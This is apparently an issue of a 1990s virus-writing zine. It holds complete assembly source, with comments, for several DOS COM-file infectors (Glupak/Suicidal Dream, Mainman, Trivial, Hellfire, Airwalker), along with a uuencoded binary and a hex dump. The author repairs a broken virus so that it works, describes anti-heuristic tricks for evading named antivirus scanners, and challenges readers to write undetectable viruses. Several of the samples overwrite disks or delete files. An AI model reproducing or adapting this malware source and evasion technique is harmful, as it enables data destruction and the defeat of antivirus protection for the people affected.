0CB8:0570 04 AB E2 FA C3 35 00 00-73 F7 .....5..s. Looking at the dump of the virus, we see there's a *.com in plain sight at memory location $0209, but does Thunderbyte pick this up? Thunderbyte virus detector v7.07 - (C) Copyright 1989-1997 Thunderbyte B.V. HELL1146.COM c Hehehe... Evidently not. You see, this simple scheme can make your virus totally hidden from Thunderbyte, even in its first-generation stage. A victim's hard drive could have every com file infected, and TBAV wouldn't say a thing... You can clearly see the possibilities inherent in this encryption method. So, for now, I leave you with this issue's virus challenge. Use this technique in a new virus, or modify an old virus's encryption, but in any case, create a bugger that is invisible to Thunderbyte. Submit all your creations to the magazine and we'll have publish them in the next issue. NOTE: In the VIRUSES.ZIP contained with this issue, there are about 25 other variants of the HellFire virus; most of these are earlier versions, and as such, you can scan them to see what gets caught, then compare what was changed between it and the release version in this file. ALSO NOTE: If you liked this article, you'll love the Airwalker virus, which is contained within this issue. It adds advanced anti-heuristic techniques which hide your virus from all the major anti-virus software out there today. Till next time... Gothmog/DHA ; TU.Suicidal.Dream.B / Glupak.847.A Disassembly ; Disassembled, Commented by Gothmog/DHA ; ; When this virus first hit the Internet, it was posted, as many new viruses ; are these days, to several usenet newsgroups. I quickly grabbed myself a ; copy and disassembled it; to my knowledge, this was the only publicly ; available source for the virus at that time. Unfortunately, my source did ; not get very widely distributed, so I am releasing it in this magazine. ; ; Originally called TU.Suicidal.Dream.B, and listed by (c) 1996 The Freak/The ; Underground, this virus is now detected by F-PROT as Glupak.847.A, so it is ; apparantly a hack of the Glupak.393 virus. The Glupak.393 virus was, for ; those of you keeping track, originally released in VLAD Magazine #2, and ; was originally named [Prodigy] v3.0 by Metabolis/VLAD (the AV'ers must sure ; have a grudge against VLAD ). ; ; Here's a look at what F-PROT Professional has to say: ; ; =========================================================================== ; ; NAME: Glupak ; ALIAS: Freaky, THU, Suicidal Dream ; SIZE: 847 ; TYPE: Non-resident COM -files ; ORIGIN: Canada ; ; This is a buggy direct action infector of COM files. It activates on October 21st and attempts ; to overwrite the hard drive. After this it displays this text and hangs the PC: ; ; Happy Birthday Freaky! ; ; Glupak also contains this encrypted text which is never shown: ; ; [TV.Suicidal.Dream.B] (c) 1996 The Freak/The Underground ; From the hypnotic spectre of wake I scream locked in depths ; of suicidal Dream ; ; The virus might also delete *.ZIP and ANTI-VIR.DAT files. ; ; Glupak was confirmed to be in the wild in Switzerland and Finland in April 1996. ; ; There is another 890 byte variant with slightly different texts inside. ; ; [Analysis: Mikko Hypponen, Data Fellows Ltd's F-PROT Pro Support] ; ; =========================================================================== ; ; And ThunderByte v7.07 gives us this information about the virus: ; ; =========================================================================== ; ; Information about the Glupak.847 virus. ; ; This virus is known to infect COM files, but unknown variants may infect ; other items as well. ; ; 847 bytes ; ; Virus triggers on 21 october destroying contents of drive C: ; ; Unusual messages or effects may appear on the screen. ; ; ; Cleaning information: ; Before cleaning or restoring, it is HIGHLY RECOMMENDED to boot from a clean, ; write-protected system diskette first! This is necessary to ensure that no ; viruses are active in memory, and to reduce the risk that you execute an ; infected file by accident. ; ; WARNING! ; This virus is known to corrupt data files. Although the damage may not be ; visible immediately, the integrity of your data has been affected once this ; virus got active in your system. There is no other option than restoring all ; information from a reliable backup. ; ; =========================================================================== ; ; Other than that, the code is pretty easy to understand. Nothing really neat ; about this virus, though the file-deletion routine is interesting. This ; virus uses anti-heuristic tricks such as the int 03h at the program's entry ; and by changing the ')' to '*' (and vise-versa) in the filemask. The virus ; seens to contain a bug -- look in the infect_file procedure, and also seems ; to contain 159d extra bytes with no apparent function--refer to data at the ; label useless_crap. If anyone cares to create a variant of this virus, feel ; free, but give credit where credit is due... [You might want to send it to ; us too, I dunno, you might just get something cool out of it...] ; ; Assumes TASM v4.00 or v5.00; other assemblers may work, but have been in no ; way personally tested or quality assured. ; ; Assemble with: tasm /m2 virus.asm ; tlink /t virus.obj (creates an 850 byte file) .model tiny .code org 100h start_virus: ; jmp get_offset db 0E9h, 000h, 000h ; byte fixup for TASM get_offset: call main_entry main_entry: int 03h ; debug trap/tbav evade pop bp sub bp, offset main_entry lea si, [bp + offset orig_bytes] ; orig. 3 bytes in sp mov di, 100h ; start of com push di ; push for ret exit movsw ; restore orig. 3 bytes movsb ; to start of com mov dx, 5945h mov ax, 0FA01h int 16h ; disable VSAFE in memory mov ah, 1Ah ; set DTA function lea dx, [bp + offset new_dta] ; new dta address int 21h ; do it mov ah, 47h ; get present directory xor dl, dl ; current drive lea si, [bp + 47Eh] ; to heap int 21h ; do it mov byte ptr cs:infectCounter, 0 ; no files infected this run find_file: mov ah, 4Eh ; find first mov cx, 07h ; all files inc byte ptr cs:[bp + offset file_mask] ; change ')' to '*' (anti-heuristic) lea dx, [bp + offset file_mask] ; Load effective addr int 21h ; do it jc none_found ; no files found dec byte ptr cs:[bp + offset file_mask] ; change '*' to ')' (anti-heuristic) jmp test_file none_found: dec byte ptr cs:[bp + file_mask] ; change '*' to ')' (anti-heuristic) no_more_files: push cs call delete_files ; delete *.zip, anti-vir.dat jmp search_parent test_file: cmp offset [bp + cs:file_name], 'OC' ; test for command.com je find_next ; file is command.com jmp infect_file ; file is not command.com find_next: mov ah, 4Fh ; find next file int 21h ; do it jc no_more_files ; no more files in dir jmp test_file ; see if infectable infect_file: mov ax, 4300h ; get file attributes lea dx, [bp + offset file_name] int 21h ; do it mov cx, cs:file_attr ; ERROR: cx is destroyed... mov ax, 4301h ; set file attributes lea dx, [bp + offset file_name] xor cx, cx ; none int 21h ; do it mov ax, 3D02h ; open file for writing lea dx, [bp + offset file_name] int 21h ; do it xchg bx, ax ; put handle in bx mov ax, 5700h ; get file date, time int 21h ; do it mov cs:file_time, cx ; save file time in dta mov cs:file_date, dx ; save file date in dta mov ah, 3Fh ; read file mov cx, 3 ; first 3 bytes lea dx, [bp + offset orig_bytes] int 21h ; do it lea cx, offset [bp + cs:[offset orig_bytes]] sub cl, 5 sub ch, 5 add cl, ch cmp cl, 9Dh ; test for jmp get_offset je close_file ; if infected, close file jmp write_file ; else, write file close_file: mov ax, 5701h ; set file date and time mov cx, cs:file_time ; restore file time from dta mov dx, cs:file_date ; restore file date from dta int 21h ; do it mov ax, 4301h ; set file attributes lea dx, [bp + offset file_name] mov cx, cs:file_attr ; restore attributes from dta int 21h ; do it mov ah, 3Eh ; close file int 21h ; do it push cs call delete_files ; delete *.zip, anti-vir.dat cmp byte ptr cs:infectCounter, 5 je back_to_orig_dir ; four infected, stop jmp find_next ; less than four, keep going write_file: mov cx, offset [bp + cs:orig_length] mov ax, offset [bp + cs:file_size] add cx, offset end_virus - offset start_virus cmp ax, cx je close_file ; file already infected sub ax, 3 mov offset [bp + cs:jump_length], ax mov ax, 4200h ; move file pointer xor cx, cx ; to beginning of file cwd int 21h ; do it mov ah, 40h ; write file mov cx, 3 ; three bytes lea dx, [bp + offset jump_bytes] int 21h ; do it mov ax, 4202h ; move file pointer xor cx, cx ; end of file cwd int 21h ; do it mov ah, 40h ; write file mov cx, offset end_virus - offset start_virus - 3 lea dx, [bp + offset main_entry - 3] int 21h ; do it inc cs:infectCounter jmp close_file back_to_orig_dir: push cs call delete_files ; delete *.zip, anti-vir.dat mov ah, 3Bh ; set current dir lea dx, [bp + 47Eh] ; original (saved) dir int 21h ; do it mov ah, 2Ah ; get date int 21h ; do it cmp dh, 0Ah ; is month october? jne dont_trash_disk ; no, return cmp dl,15h ; is day the 15th? jne dont_trash_disk ; no, return jmp trash_disk ; trash the hard drive dont_trash_disk: retn search_parent: mov ah, 3Bh ; set current dir lea dx, [bp + offset dotdot]; go to parent int 21h ; do it jc back_to_orig_dir jmp find_file trash_disk: mov al, 02h ; current drive mov cx, 666 ; write 666 sectors mov dx, 0 mov bx, offset virus_name int 26h ; absolute disk write lea dx, [bp + offset happy_birthday] mov ah, 09h ; display message int 21h ; do it forever: jmp forever delete_files: lea dx, [bp + zip_mask] ; filename = *.zip mov ah, 4Eh ; find first mov cx, 7 ; all files int 21h ; do it jc del_tbav ; none found, try tbav files del_zips: lea dx, [bp + offset file_name] mov ax, 4301h ; set file attributes xor cx, cx ; none int 21h ; do it mov ah, 41h ; delete file lea dx, [bp + offset file_name] int 21h ; do it mov ah, 4Fh ; find next int 21h ; do it jc del_tbav ; none found, try tbav files loop del_zips ; more found, delete them del_tbav: lea dx, [bp + offset tbav_name] mov ah, 4Eh ; find first mov cx, 7 ; all files int 21h ; do it jc no_tbav lea dx, [bp + offset file_name] mov ax, 4301h ; set file attributes xor cx, cx ; none int 21h ; do it mov ah, 41h ; delete file lea dx, [bp + offset file_name] int 21h ; do it retf ; return far no_tbav: retf ; return far virus_name db '[TU.Suicidal.Dream.B]' virus_author db '(c) 1996 The Freak/The Underground' silly_poem db 'From the hypnotic spectre of wake I scream' db 'Locked in the depths of a Suicidal Dream' useless_crap db 0A9h, 0CCh, 0D3h, 0C2h, 07Dh, 0D1h, 0CCh, 07Dh, 0A9h db 0C2h, 0BEh, 0C5h, 07Dh, 0BEh, 0CBh, 0C1h, 07Dh, 0A9h db 0C6h, 0CBh, 0C1h, 0D0h, 0BEh, 0D6h, 07Eh, 07Dh, 0AAh db 0D6h, 07Dh, 0C3h, 0BEh, 0D3h, 07Dh, 0BFh, 0BEh, 0BFh db 0C2h, 0D0h, 07Eh, 07Eh, 07Dh, 0AFh, 0C2h, 0C9h, 0C2h db 0BEh, 0D0h, 0C2h, 0C1h, 07Dh, 0A7h, 0BEh, 0CBh, 08Ch db 096h, 093h, 07Eh, 07Dh, 07Dh, 0A3h, 0CFh, 0CCh, 0CAh db 07Dh, 0A0h, 0BEh, 0CBh, 0BEh, 0C1h, 0BEh, 07Eh, 07Dh db 07Dh, 0B6h, 0D2h, 0CDh, 089h, 07Dh, 0D1h, 0C5h, 0BEh db 0D1h, 0D0h, 07Dh, 0CFh, 0C6h, 0C4h, 0C5h, 0D1h, 07Dh db 0BEh, 0D3h, 07Dh, 0CDh, 0C2h, 0CCh, 0CDh, 0C9h, 0C2h db 0D0h, 08Bh, 08Bh, 07Dh, 0A0h, 09Eh, 0ABh, 09Eh, 0A1h db 09Eh, 07Eh, 085h, 0C0h, 086h, 07Dh, 08Eh, 096h, 096h db 093h, 07Dh, 0B1h, 0C5h, 0C2h, 07Dh, 0A3h, 0CFh, 0C2h db 0BEh, 0C8h, 08Bh, 07Dh, 09Eh, 0C9h, 0C9h, 07Dh, 0CFh db 0C6h, 0C4h, 0C5h, 0D1h, 0D0h, 07Dh, 0D0h, 0D1h, 0CCh db 0C9h, 0C2h, 0CBh, 08Bh, 07Dh, 0B0h, 0CCh, 07Dh, 0C2h db 0BEh, 0D1h, 07Dh, 0CAh, 0C2h, 08Bh orig_bytes db 0CDh, 020h, 000h orig_length equ $-2 jump_bytes db 0E9h jump_length dw 0000h file_mask db ').com', 0 zip_mask db '*.zip', 0 tbav_name db 'anti-vir.dat', 0 dotdot db '..', 0 new_dta db 26 dup (0) file_size dd 0 file_name db 12 dup (0) file_attr dw 0 file_time dw 0 file_date dw 0 infectCounter db 0 happy_birthday db 'Happy Birthday Freaky!$' end_virus: end start_virus ; ============================================================[ code ends ]== And finally, for those of you without a working assembler, here's a uuencoded copy. Simply run UUDECODE or its equivalent on the article, or cut and paste the encoded section into a text file and decode it: section 1/1 file freaky.com [ Wincode 2.7.3 ] begin 644 freaky.com MZ0``Z```S%V![08!C;;H`[\``5>EI+I%6;@!^LT6M!J-E@H$S2&T1S+2C;9^ M!,TA+L8&.@0`M$ZY!P`N_H;N`XV6[@/-(7('+OZ.[@/K#"[^CNX##N@>`>GW M`"Z!OB@$0T]T`NL(M$_-(7+HZ^VX`$.-EB@$S2$NBPXT!+@!0XV6*`0SR7!N;W1I8R!S<&5C=')E(&]F('=A:V4@22!S M8W)E86U,;V-K960@:6X@=&AE(&1E<'1HJYZAGGZ%P(9]CI:6DWVQQ<)]H\_"OLB+?9[)R7W/ MQL3%T=!]T-',R<++BWVPS'W"OM%]RL*+S2``Z0``*2YC;VT`*BYZ:7``86YT M:2UV:7(N9&%T`"XN```````````````````````````````````````````` H``````````````````````!(87!P>2!":7)T:&1A>2!& %1 debug %1 < c:\dos\makehost.scr > nul echo. == file ends ==================================================== cut here == And the debug script file; modify the actual host to suit your needs, this one is fine in most cases, unless you're dealing with a virus that has a min- imum file size check or one that uses more than the first four bytes in its infection routine, for example. == cut here =========================================== file: MAKEHOST.SCR == e 100 90 90 CD 20 r cx 4 w q == file ends ==================================================== cut here == That's it... Bug off. Gothmog/DHA ; Mainman.89 or Trivial.89.B Disassembly, Comments, and Bug-Fix by Gothmog ; ; Overview: The file KEYGEN.COM was posted to the usenet group alt.comp.virus ; source.code on April Fool's Day, 1997. The file was 31,568 bytes ; large, dated 04-02-97 at 7:14 P.M. Contained within the file was ; a trivial-esque overwriting virus that was, however, non-working. ; ; Here is the full message from whoever posted the file, possibly the virus's ; author or also possibly just an interested collector or programmer: ; ; From mainman@wereverthefuckiwannabe.net Tue Apr 01 19:18:27 1997 ; Path: news.alt.net!news1.alt.net!worldnet.att.net!cpk-news-hub1.bbnplanet.com!news.bbnplanet.com!news.maxwell.syr.edu!news.accessus.net!not-for-mail ; From: mainman@wereverthefuckiwannabe.net (nada chance) ; Newsgroups: alt.comp.virus.source.code ; Subject: keygen.com (0/1) ; Date: Wed, 02 Apr 1997 00:18:27 GMT ; Organization: accessU.S., Inc ; Lines: 2 ; Message-ID: <3341a588.158374802@news.accessus.net> ; NNTP-Posting-Host: mtv-pm2-2-100.accessus.net ; X-Newsreader: Forte Free Agent 1.1/32.230 ; -------- ; it;s just a dummy to show how easy it is to get past huero's if u ; already know that don;t bother d/ling it cuz it;s trash ; ; According to the poster of this message above, the file is trash, but shows ; how to get past heuristic scanners. I decided to take a look, and fired up ; my antivirus scanners. Lo-and-behold, the virus was undetectable by AVPLite ; v3.0 build 107 Update 03/22/97, Dr. Solomon's FindVirus v7.70's heuristics, ; and F-Protect v2.26 w/ paranoid mode heuristics enabled, but raised several ; important flags with ThunderByte's TBSCAN v7.07: ; ; C:\DOWNLOAD\KEYGEN.COM probably infected by an unknown virus ; c No checksum / recovery information (Anti-Vir.Dat) available. ; F Suspicious file access. Might be able to infect a file. ; S Contains a routine to search for executable (.COM or .EXE) files. ; # Found a code decryption routine or debugger trap. This is common ; for viruses but also for some copy-protected software. ; ; My interest piqued, I decided to take a closer look. I quickly disassembled ; the host file, and took a look. Instead of finding some complex, huge code, ; I found that actual virus was a meager 89d bytes long. I added comments to ; the code, and found that as provided, the virus was non-functioning. While ; it seemed decent on the whole, for what it accomplished, it had one glaring ; error: the decryption routine at the beginning of the virus `xor'd' working ; code within the virus with 33h, making it crash as the encrypted junk code ; got executed. My only two explanations for this is that One) The programmer ; of this virus is on crack. (the most likely explanation :) and Two) Whoever ; wrote this virus depended on some funky use of the large prefetch queue on ; some 386's and all 486's. Prefetch queue `tricks', however, do not function ; on today's modern processers (Pentium's, Pentium-Pro's, etc.) and as such, ; should not be used in viruses, as they cause unpredictable results and fuck ; up in general. In any case, however, I don't see how the virus could spread ; effectively at all, as if either of these conditions are true, successive ; generations of the virus will not function: the encryption loop only occurs ; once in the virus, so written copies will have the bytes already xor'd. ; ; Well, as bored as I am, I decided to make a _working_ copy of the virus, so ; I set off to work. The quickest and easiest way, I decided, was simply to ; change the encryption key from 33h to 00h. This fixes both bugs, and keeps ; the virus invisible to AVP, DSAV, and F-PROT. So without further ado, here ; it is (after the fine print, of course): ; ; Assemble with: tasm /m1 mainman.asm ; tlink /t mainman.obj (links to a 89d byte COM file) ; ; This program has the potential to permanently destroy executable images on ; any disk medium. Other modifications may have been made subsequent to the ; original release by the author, either benign, or ones that could result in ; further harm should the program be executed. In any case, no responsibility ; whatsoever will be taken for any damages incidential or otherwise resulting ; from the use, or misuse, of this program by the author(s). Neither will any ; responsibility be taken for omissions or errors in the code, comments, etc. ; ; ==========================================================[ code begins ]== .model tiny .code org 100h start_virus: mov dx, [bp + offset encrypt_key] ; dx holds encryption key lea bx, [bp + search_directory] ; address to start decrypting mov cx, 22h ; number of bytes to decrypt xor_loop: xor [bx], dx ; decrypt byte at bx with key add bx, 0002h ; process next word loop xor_loop ; loop to encryption loop mov cx, 0002h ; process two directories search_directory: push cx ; push cx = 0002h onto stack mov ah, 4Eh ; ah = 4Eh, find first file ; jmp skip_virus_signature ; jump over virus signature db 0E9h ; byte fixup for tasm v4.0 dw offset skip_virus_signature - $ - 0002h virus_signature db 'mainman' skip_virus_signature: mov cx, 0000h ; find all normal files mov dx, offset file_mask ; ds:[dx] points to '*.com' int 21h ; do it! jc go_back_one_dir ; if no files found, go to ; parent directory mov ax, 3D02h ; open file, read/write mode mov dx, 9Eh ; filename in default dta int 21h ; go! handle returned in ax xchg bx, ax ; one byte; move handle to bx mov ah, 40h ; ah = 40h, write file mov cx, offset end_virus - offset start_virus ; ^----------------- number of bytes to write = end - start mov dx, offset start_virus ; start at memory offset 100h int 21h ; write the fat bitch... mov ah, 3Eh ; ah = 3Eh, close file int 21h ; fuckin' do it, man! go_back_one_dir: mov dx, offset dot_dot ; ds:[dx] points to '..' mov ah, 3Bh ; ah = 3Bh, set current dir int 21h ; change directory to parent pop cx ; pop cx = 0002h off stack loop search_directory ; loop till cx = 0000h (until ; two directories have been ; searched.) int 20h ; terminate program, bye... encrypt_key db 00h ; used for decrypting data ; ^----------------- value supplied in original program ; was 33h, this does not work, as it ; corrupts existing code.... (if you ; want an exact copy of the original ; sample, change this value to 33h.) file_mask db '*.com', 00h ; used to find com files dot_dot db '..', 00h ; '..' = parent directory end_virus equ $ end start_virus ; ============================================================[ code ends ]== ; [Trivial.64.C] (c) 1995 Wraith/DHA Disassembled by Gothmog/[DHA] ; ; Seems I had deleted the source code for this virus, thinking nothing of it, ; until I noticed that F-Protect v2.26 and Dr. Solomon's FindVirus v7.69 have ; started detecting it as a unique virus. Well, friend Wraith, seems you have ; your fifteen minutes (seconds, probably, with this virus) of fame... ; ; In any case, I hauled out Sourcer, disassembled the .com file, and threw in ; a few comments, for posterity's sake. Even the lamest of the lame should be ; able to understand this code, if not, shoot yourself. For those of you that ; are without a `working' assembler (Borland's Turbo Assembler v4.00 or v5.00 ; should work fine), a hex dump follows at the conclusion of the source. .model tiny .code org 100h virus_start: mov ah, 4Eh ; ah = 4Eh, find first file mov dx, offset file_mask ; points to *.com int 21h ; do it! find_file: jc exit_virus ; exit if no files found mov ax, 3D01h ; open file for writing mov dx, 09Eh ; location of filename in psp int 21h ; do it! xchg bx, ax ; put filehandle in bx mov ah, 40h ; write file from handle bx ; number of bytes to write mov cx, virus_end - virus_start mov dx, offset virus_start ; start writing from cs:100h int 21h ; write the bitch! mov ah, 3Eh ; ah = 3Eh, close file int 21h ; do it! mov ah, 4Fh ; ah = 4Fh, find next file int 21h ; do it! jmp find_file exit_virus: int 20h ; we're outta here... virus_name db '[TRiV]', 00h virus_author db 'Wraith/DHA', 00h file_mask db '*.com', 00h virus_end equ $ end virus_start ; And finally, the hex dump: ; ; 0100 B4 4E BA 3A 01 CD 21 72 1D B8 01 3D BA 9E 00 CD .N.:..!r...=.... ; 0110 21 93 B4 40 B9 40 00 BA 00 01 CD 21 B4 3E CD 21 !..@.@.....!.>.! ; 0120 B4 4F CD 21 EB E1 CD 20 5B 54 52 69 56 5D 00 57 .O.!... [TRiV].W ; 0130 72 61 69 74 68 2F 44 48 41 00 2A 2E 63 6F 6D 00 raith/DHA.*.com. ; ; ============================================================[ code ends ]== ; =========================================================================== ; Hellfire.1146 Anti-Heuristic Demonstration Virus Written by Gothmog/DHA ; =========================================================================== ; ; Assumes TASM v4.00 or v5.00 or A86 Macro Assembler v4.02; other assemblers ; may work, but are not personally tested or quality assured. ; ; Assemble with: tasm /m2 hell1146.asm (/m1 creates an 1148 byte variant) ; tlink /t hell1146.obj ; ; Alternately: a86 hell1146.asm hell1146.com (makes an 1157 byte variant) .model tiny .code org 100h startvirus: call decrypt start_encrypt: mov ah, 4Eh findfile: mov cx, 07h mov dx, offset com_mask int 21h jc writemessage mov dx, 9Eh mov ax, 3D00h int 21h xchg ax, bx readFile: mov ah, 3Fh mov cx, 01h mov dx, offset bugger int 21h closeFile: mov ah, 3Eh int 21h checkfile: mov ah, 4Fh cmp byte ptr[bugger], 0E8h je findfile cmp word ptr cs:[9Ah], offset endvirus-offset startvirus jl findfile filegood: mov ax, 2524h mov dx, offset [Int24Handler+bp] int 21h mov ax, 4300h mov dx, 9Eh int 21h push cx mov ax, 4301h xor cx, cx int 21h mov ax, 3D02h int 21h xchg ax, bx infectfile: mov ah, 2Ch int 21h mov key, dx mov ah, 40h push ax mov cx, offset endvirus - offset startvirus push cx mov dx, offset startvirus jmp writefile writefakeerror: mov ax, 4301h mov dx, 9Eh pop cx int 21h mov ax, 5701h mov cx, word ptr cs:[096h] mov dx, word ptr cs:[098h] int 21h mov ah, 09h mov dx, offset fakeerror int 21h quitvirus: int 20h writemessage: mov ah, 0Fh int 10h xor ah, ah int 10h mov ah, 01h mov cx, 2607h int 10h mov ax, 0B800h mov es, ax mov cx, 815 mov si, offset msghellfire xor di, di uncrunch: xor dx, dx xor ax, ax cld loop_a: lodsb cmp al, 32 jc foreground stosw next: loop loop_a jmp done foreground: cmp al, 16 jnc background and ah, 0F0h or ah, al jmp next background: cmp al, 24 jz next_line jnc flash_bit_toggle sub al, 16 add al, al add al, al add al, al add al, al and ah, 8Fh or ah, al jmp next next_line: add dx, 160 mov di, dx jmp next flash_bit_toggle: cmp al, 27 jc multi_output jnz next xor ah, 128 jmp next multi_output: cmp al, 25 mov bx, cx lodsb mov cl, al mov al, 32 jz start_output lodsb dec bx start_output: xor ch, ch inc cx rep stosw mov cx, bx dec cx loopnz loop_a done: jmp done Int24Handler: mov al, 03h iret com_mask db '*.com', 0 fakeerror db 'Bad command or file name', 0Dh, 0Ah, '$' msghellfire db 8,16,26,'O',24,26,'O',24,26,'O',24,26,11,'',15,20 db '',26,'3Ŀ',8,16,26,13,'',24,26,11,'',15,20,' ',12 db 26,6,'/ ',14,'uh oh, you',39,'ve been infected with' db ' a virus ',15,'',7,16,'',8,26,11,'',24,26,11,'' db 15,20,' ',12,'//',25,3,'O',25,2,15,27,' Ŀ ' db 25,3,'',25,3,'Ŀ Ŀ Ŀ ',27,'',7,16,'' db 8,26,11,'',24,26,11,'',15,20,' ',12,'//',25,5,'> ' db ' ',15,27,'Ĵ ',25,2,'',25,3,'',25,3,'',25,3,'' db ' ',25,3,27,'',7,16,'',8,26,11,'',24,26,11 db '',15,20,' ',12,'/ \__ ~',25,2,15,27,' ' db ' ',25,3,' ',27,'',7,16,'',8 db 26,11,'',24,26,11,'',15,20,'',25,3,12,'||',25,26,26 db 4,'/',25,13,15,'',7,16,'',8,26,11,'',24,26,11,'' db 15,20,' ',12,'(\ \)',25,2,'(~)',25,19,'// o',25,13 db 15,'',7,16,'',8,26,11,'',24,26,11,'',15,20,' ' db 12,'( \ \ / /',25,19,'//',25,3,'>',25,12,15,'',7,16 db '',8,26,11,'',24,26,11,'',15,20,' ',12,'( \ \' db '/ /',25,8,26,11,'_/ \__O',25,13,15,'',7,16,'',8,26 db 11,'',24,26,11,'',15,20,' ',12,'(',25,2,'\__/',25 db 8,'/ ___ ',26,5,'_\//',25,16,15,'',7,16,'',8,26,11 db '',24,26,11,'',15,20,' ',12,'/',25,2,'| /@',25,7,'(' db ' / / ',26,5,'_)/',25,17,15,'',7,16,'',8,26,11,'' db 24,26,11,'',15,20,' ',12,'(',25,3,'|//',25,9,'\ \ ' db '/ /',25,2,'(_)',25,19,15,'',7,16,'',8,26,11,'',24 db 26,11,'',15,20,' ',12,'\',25,2,'()',25,11,'\ \O/',25 db 26,15,'',7,16,'',8,26,11,'',24,26,11,'',15,20,'' db 25,2,12,'\ |',25,13,') )',25,27,15,'',7,16,'',8,26 db 11,'',24,26,11,'',15,20,'',25,3,12,') )',25,12,'/' db ' /',25,28,15,'',7,16,'',8,26,11,'',24,26,11,'',15 db 20,'',25,2,12,'( |_',25,10,'/ /_ ',10,'so, do you' db ' like taking it ',15,'',7,16,'',8,26,11,'',24,26 db 11,'',15,20,'',25,2,12,'(',26,3,'_>',25,8,'(',26,3,'_' db '>',25,7,10,'up the ass?',25,8,15,'',7,16,'',8,26,11 db '',24,26,11,'',15,20,'',26,'3',7,16,'',8,26,11 db '',24,26,13,'',7,26,'5',8,26,11,'',24,26,'O',24,26 db 'O',24,26,'O',24 end_encrypt equ $ - 1 writefile: call encrypt pop cx pop ax int 21h call decrypt jmp writefakeerror encrypt: decrypt: mov si, offset start_encrypt mov di, si mov cx, (end_encrypt - start_encrypt + 1) / 2 xorLoop: lodsw jmp hahahahaha oioioioioi: stosw loop xorLoop ret hahahahaha: db 35h key dw 0000 jnc oioioioioi endvirus: bugger db ? f_attr db 09h dup (?) end startvirus ; ============================================================[ code ends ]== ; The Airwalker.303 Virus Written by Gothmog/[DHA97] ; ; z$$$$$No. ; @$$**""$$$$$N. ; ' $$P""$$$ .. ; =========== 4$$F 3$$$ ======== 4$F ======================================= ; @$$F J$$F $P z o$$$r ; $$$ $$$ @$ u$$$ d$$$$$ ; <$$$ $$$ 4$$ u$$$$$F :$$$$$$L ; @$$" $$$" $$$ .*""""$$$ $$$$^$$$ ; $$$ $$$ d$$$Nf $$$ $$$$$$$$$r ; 4$$N$$" :$$$F 9$$ @$$$$*"$$$$ ; d$$$$ *$$" 9$$F :$$$" $$$ ; $$$" $$ 4$$$ 4$$ '$$r ; ========= $F =============== 9$ ========== *$$$ ==== '$" ===== "$L ======== ; ; Assumes TASM v4.00 or v5.00 or A86 Macro Assembler v4.02; other assemblers ; may work, but are not personally tested or quality assured. ; ; Assemble with: tasm /m1 airw-303.asm (one pass should be sufficient) ; tlink /t airw-303.obj ; ; Alternately: a86 airw-303.asm airw-303.com (creates a 300 byte variant) ; ; As of right now, the Airwalker.303 virus is 100% unscannable with: ; ; TBAV v7.07 w/ high heuristic sensitivity enabled ; F-PROT v2.26 w/ switches /ANALYSE /GURU /PARANOID enabled ; Dr. Solomon's FindVirus v7.69 w/ the following command-line switches ; enabled: /!GURU /SECURE /VID /!IVN /!DOBOOTS /PACK /ANALYSE ; Microsoft Anti-Virus (big surprise... no great accomplishment here) ; ; More to come... AVPLite v3.0 build 107 updated 03/22/97 coming next... .model tiny .286 .code org 0100h start: db 0E9h dw offset virus_start - offset dummy_host dummy_host: mov ah, 09h int 21h int 20h message db 'WARNING: You have just released the Airwalker.303 virus!', 0Dh, 0Ah, '$' virus_start: db 0BDh delta_offset: dw offset virus_start ; =========================================================================== ; F-Protect will flag this virus if the following code is included, but stops ; tracing immediately if a register is called, even if the /analyse /paranoid ; and /guru command-line switches are used. ; ; call decrypt ; =========================================================================== lea ax, [bp + decrypt - virus_start] call ax start_encrypt: ; =========================================================================== ; O Found code that can be used to overwrite/move a program in memory. ; ; mov di, 0100h ; lea si, [bp + original - virus_start] ; =========================================================================== mov si, 0100h lea di, [bp + original - virus_start] xchg si, di movsw movsb mov ah, 1Ah lea dx, [bp + virus_dta - virus_start] int 21h ; =========================================================================== ; F Suspicious file access. Might be able to infect a file. ; ; mov ah, 4Eh ; lea dx, [bp + file_mask - virus_start] ; mov cx, 32 ; int 21h ; =========================================================================== mov bh, 4Eh xchg ax, bx lea dx, [bp + file_mask - virus_start] mov cx, 32 int 21h jnc open_again return_to_host: ; =========================================================================== ; B Back to entry point. Contains code to re-start the program after ; modifications at the entry-point are made. Very usual for viruses. ; ; mov si, 0100h ; push si ; ret ; =========================================================================== dec sp mov si, sp mov word ptr [si], 0100h ret open_again: mov ax, 3D02h lea dx, [bp + name_buffer - virus_start] int 21h jc return_to_host xchg bx, ax mov ah, 3Fh lea dx, [bp + original - virus_start] mov cx, 03h int 21h jc return_to_host push bx mov bx, dx cmp byte ptr [bx], 0E9h pop bx je find_next_file mov ax, 4202h xor cx, cx cwd int 21h jc return_to_host push ax add ax, offset start mov word ptr [bp + delta_offset - virus_start], ax mov ah, 2Ch int 21h xchg ch, cl add dx, cx mov word ptr[bp + encrypt_key - virus_start], dx mov ah, 40h mov cx, virus_end - virus_start lea dx, [bp + virus_start - virus_start] pusha jmp write_virus out_write_virus: pop ax jc return_to_host sub ax, 03h push bx mov bx, bp mov word ptr cs:[bx + 1], ax mov byte ptr [bx], 0E9h pop bx mov ax, 4200h xor cx, cx cwd int 21h jc return_to_host ; =========================================================================== ; F Suspicious file access. Might be able to infect a file. ; ; mov ah, 40h ; lea dx, [bp + virus_start - virus_start] ; mov cx, 03h ; int 21h ; jc return_to_host ; =========================================================================== mov ax, 03h mov ch, 40h lea dx, [bp + virus_start - virus_start] xchg ax, cx int 21h jc return_to_host mov ah, 3Eh int 21h jump_up: jmp return_to_host find_next_file: mov ah, 3Eh int 21h lea dx, [bp + file_mask - virus_start] mov ah, 4Fh int 21h jc jump_up jmp open_again original: mov dx, offset message virus_name db '[airwalker]', 00h virus_author db '(c) 1997 gothmog', 00h ; S Contains a routine to search for executable (.COM or .EXE) files. file_mask db '*.com', 00h ; *** S flag virus_dta db 30 dup (0) name_buffer db 13 dup (0) end_encrypt equ $ - 0001h encrypt: decrypt: lea si, [bp + start_encrypt - virus_start] mov di, si mov cx, (end_encrypt - start_encrypt + 1) / 2 xor_loop: lodsw int 03h jnc false_jump false_jump_2: stosw loop xor_loop ret false_jump: db 35h encrypt_key dw 0000 jnc false_jump_2 write_virus: call encrypt popa int 21h call decrypt jmp out_write_virus virus_end: end start ; ============================================================[ code ends ]== ; =========================================================================== ; The Airwalker.385 Virus Written by Gothmog/[DHA97] ; =========================================================================== ; ; Assumes TASM v4.00 or v5.00 or A86 Macro Assembler v4.02; other assemblers ; may work, but are not personally tested or quality assured. ; ; Assemble with: tasm /m2 